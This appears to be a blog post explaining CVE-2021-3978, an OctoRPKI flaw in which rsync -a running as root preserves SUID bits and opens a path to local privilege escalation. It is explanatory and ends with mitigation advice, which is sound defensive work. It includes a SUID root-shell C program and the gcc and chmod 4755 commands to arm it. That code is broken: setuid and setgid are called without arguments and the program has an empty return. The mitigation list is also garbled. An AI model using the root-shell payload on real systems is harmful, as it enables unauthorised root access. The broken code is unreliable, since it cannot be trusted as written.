Security is rarely about the big, obvious mistakes. Often, the real dangers hide in the default settings, in the everyday commands we use without a second thought. CVE-2021-3978 is a great example: a subtle misconfiguration in Cloudflare's OctoRPKI project, where a specific rsync flag and a systemd service definition can open the door to a dangerous local privilege escalation.
In this post, we’ll break down what this vulnerability is, show you some code snippets, and walk you through how it could be exploited. Everything is explained with simple examples, so even if you aren't a Linux wizard, you'll get what’s going on.
What’s OctoRPKI?
OctoRPKI (short for “Cloudflare’s RPKI Validator”) is a tool that helps validate internet routing information using the Resource Public Key Infrastructure (RPKI). It's used by network operators and organizations to keep BGP route announcements more secure.
Where Did Things Go Wrong? (The Root of CVE-2021-3978)
The real issue centers on how OctoRPKI copies files around using the rsync utility. If you check the service file, you’ll see OctoRPKI often runs as the root user by default:
[Service]
User=root
...
That alone isn’t a bug—lots of daemons run as root. But the way OctoRPKI copies files is where the problem comes in.
OctoRPKI uses
rsync -a ...
The -a (archive) flag in rsync tells it to preserve almost everything about the files it’s copying—permissions, ownerships, symlinks, timestamps, and—this is key—the SUID/SGID bits.
Why Does SUID Matter?
SUID (Set User ID) is a special permission bit in Unix. If a file (typically a binary) has the SUID bit set and is owned by root, *anyone who runs it temporarily gets root privileges for that process*.
If an attacker can smuggle in a custom SUID binary, and rsync -a preserves its permissions and owner, then—since OctoRPKI runs as root—that file lands on disk with its dangerous SUID bit intact, owned by root.
Here’s how the code might look
// (This is a simplified, illustrative example!)
cmd := exec.Command("rsync", "-a", src, dst)
cmd.Run()
Piecing Together the Exploit
By itself, CVE-2021-3978 isn’t an instant “Game Over.” You also need another vulnerability: something that lets an attacker convince OctoRPKI to process a “malicious TAL file" (a kind of config file pointing to repositories with routing info).
The copied file lands owned by root, SUID bit intact.
Now, a local attacker could execute that file, and voila—code executing as root.
Let’s say an attacker sneaks this evil-suid binary into their “repository”
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid();
setgid();
system("/bin/sh");
return ;
}
Compile it & set SUID:
gcc evil-suid.c -o evil-suid
chmod 4755 evil-suid # SUID bit set!
In a scenario where this lands on the victim’s box via rsync -a, it keeps the SUID bit. Anyone who runs it gets a root shell.
Why This Matters
- Default settings: Most admins will deploy using the provided systemd service file (runs as root).
Silent privilege escalation: No logs shout about this; it hides in legit-looking file syncs.
- Chaining vulnerabilities: Impressive, high-impact attacks often combine subtle bugs like this with another low-severity weakness.
Run as non-root: Change the service definition so OctoRPKI runs as a limited user!
2. Restrict rsync flags: Don’t use -a unless you absolutely need it. Use --no-perms --no-owner --no-group to block permission/owner transfer.
Validate input: Make sure repository sources and TAL files are trusted.
4. AppArmor/SELinux: Use process sandboxes to block escalation even if a SUID file appears.
Official References
- CVE-2021-3978 on NVD
- Cloudflare cfrpki GitHub Repository
- OctoRPKI systemd Service File
Conclusion
CVE-2021-3978 is a sharp reminder that little things—like a command-line flag or a default user definition—can have huge security consequences. Always review your deployment practices, and don’t blindly trust copy-paste defaults, especially for anything running as root.
If you use OctoRPKI, double-check your configs. If you build security tools, always imagine how your code might be chained with someone else's bug. That’s where the real danger lies.
Timeline
Published on: 01/29/2025 10:15:07 UTC